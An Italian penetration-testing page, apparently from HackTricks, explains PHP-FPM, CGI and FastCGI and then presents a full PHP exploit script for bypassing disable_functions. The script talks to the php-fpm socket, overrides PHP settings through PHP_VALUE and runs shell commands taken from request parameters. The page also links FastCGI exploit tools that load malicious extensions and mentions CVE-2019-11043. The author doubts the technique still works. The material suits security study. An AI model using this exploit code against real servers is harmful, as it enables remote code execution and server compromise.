PHP-FPM è presentato come un alternativa superiore al PHP FastCGI standard, offrendo funzionalità particolarmente benefiche per siti web con alto traffico. Funziona attraverso un processo master che supervisiona una serie di processi worker. Per una richiesta di script PHP, è il server web che avvia una connessione proxy FastCGI al servizio PHP-FPM. Questo servizio ha la capacità di ricevere richieste sia tramite porte di rete sul server che tramite socket Unix.
Nonostante il ruolo intermedio della connessione proxy, PHP-FPM deve essere operativo sulla stessa macchina del server web. La connessione che utilizza, pur essendo basata su proxy, differisce dalle connessioni proxy convenzionali. Una volta ricevuta una richiesta, un worker disponibile di PHP-FPM la elabora—eseguendo lo script PHP e poi inoltrando i risultati al server web. Dopo che un worker ha concluso l'elaborazione di una richiesta, diventa nuovamente disponibile per le richieste successive.
Ma cos'è CGI e FastCGI?
CGI
Normalmente le pagine web, i file e tutti i documenti che vengono trasferiti dal server web al browser sono memorizzati in una directory pubblica specifica come home/user/public_html. Quando il browser richiede un certo contenuto, il server controlla questa directory e invia il file richiesto al browser.
Se CGI è installato sul server, viene aggiunta anche la directory specifica cgi-bin, ad esempio home/user/public_html/cgi-bin. Gli script CGI sono memorizzati in questa directory. Ogni file nella directory è trattato come un programma eseguibile. Quando si accede a uno script dalla directory, il server invia una richiesta all'applicazione, responsabile di questo script, invece di inviare il contenuto del file al browser. Dopo che l'elaborazione dei dati di input è completata, l'applicazione invia i dati di output al server web che inoltra i dati al client HTTP.
Ad esempio, quando si accede allo script CGI http://mysitename.com/cgi-bin/file.pl, il server eseguirà l'applicazione Perl appropriata tramite CGI. I dati generati dall'esecuzione dello script saranno inviati dall'applicazione al server web. Il server, d'altra parte, trasferirà i dati al browser. Se il server non avesse avuto CGI, il browser avrebbe visualizzato il codice del file .pl stesso. (spiegazione da qui)
FastCGI
FastCGI è una tecnologia web più recente, una versione migliorata di CGI poiché la funzionalità principale rimane la stessa.
La necessità di sviluppare FastCGI è emersa dallo sviluppo rapido e dalla complessità delle applicazioni, così come per affrontare le carenze di scalabilità della tecnologia CGI. Per soddisfare tali requisiti Open Market ha introdotto FastCGI – una versione ad alte prestazioni della tecnologia CGI con capacità migliorate.
disable_functions bypass
È possibile eseguire codice PHP abusando di FastCGI e evitando le limitazioni di disable_functions.
Via Gopherus
Non sono sicuro se questo funzioni nelle versioni moderne perché ho provato una volta e non ha eseguito nulla. Per favore, se hai ulteriori informazioni su questo contattami tramite [gruppo telegram PEASS & HackTricks qui](https://t.me/peass), o twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Utilizzando Gopherus puoi generare un payload da inviare al listener FastCGI ed eseguire comandi arbitrari:
Caricando e accedendo a questo script, l'exploit verrà inviato a FastCGI (disabilitando disable_functions) e i comandi specificati verranno eseguiti.
PHP exploit
Non sono sicuro se questo funzioni nelle versioni moderne perché ho provato una volta e non sono riuscito a eseguire nulla. In realtà, sono riuscito a vedere che phpinfo() dall'esecuzione di FastCGI indicava che disable_functions era vuoto, ma PHP (in qualche modo) stava ancora impedendomi di eseguire qualsiasi funzione precedentemente disabilitata. Per favore, se hai ulteriori informazioni su questo contattami tramite [PEASS & HackTricks telegram group here](https://t.me/peass), o twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Utilizzando la funzione precedente, vedrai che la funzione system è ancora disabilitata ma phpinfo() mostra un disable_functionsvuoto:
Quindi, penso che tu possa impostare disable_functions solo tramite i file di configurazione php .ini e che il PHP_VALUE non sovrascriverà quella impostazione.
Questo è uno script php per sfruttare il protocollo fastcgi per bypassare open_basedir e disable_functions.
Ti aiuterà a bypassare disable_functions rigorosi per RCE caricando l'estensione malevola.
Puoi accedervi qui: https://github.com/w181496/FuckFastcgi o a una versione leggermente modificata e migliorata qui: https://github.com/BorelEnzo/FuckFastcgi
Scoprirai che l'exploit è molto simile al codice precedente, ma invece di cercare di bypassare disable_functions utilizzando PHP_VALUE, cerca di caricare un modulo PHP esterno per eseguire codice utilizzando i parametri extension_dir e extension all'interno della variabile PHP_ADMIN_VALUE.
NOTA1: Probabilmente dovrai ricompilare l'estensione con la stessa versione di PHP che il server sta utilizzando (puoi controllarlo all'interno dell'output di phpinfo):
NOTA2: Sono riuscito a farlo funzionare inserendo i valori extension_dir e extension all'interno di un file di configurazione PHP .ini (qualcosa che non sarai in grado di fare attaccando un server). Ma per qualche motivo, quando utilizzo questo exploit e carico l'estensione dalla variabile PHP_ADMIN_VALUE, il processo è semplicemente terminato, quindi non so se questa tecnica è ancora valida.
Vulnerabilità di Esecuzione Remota di Codice PHP-FPM (CVE-2019–11043)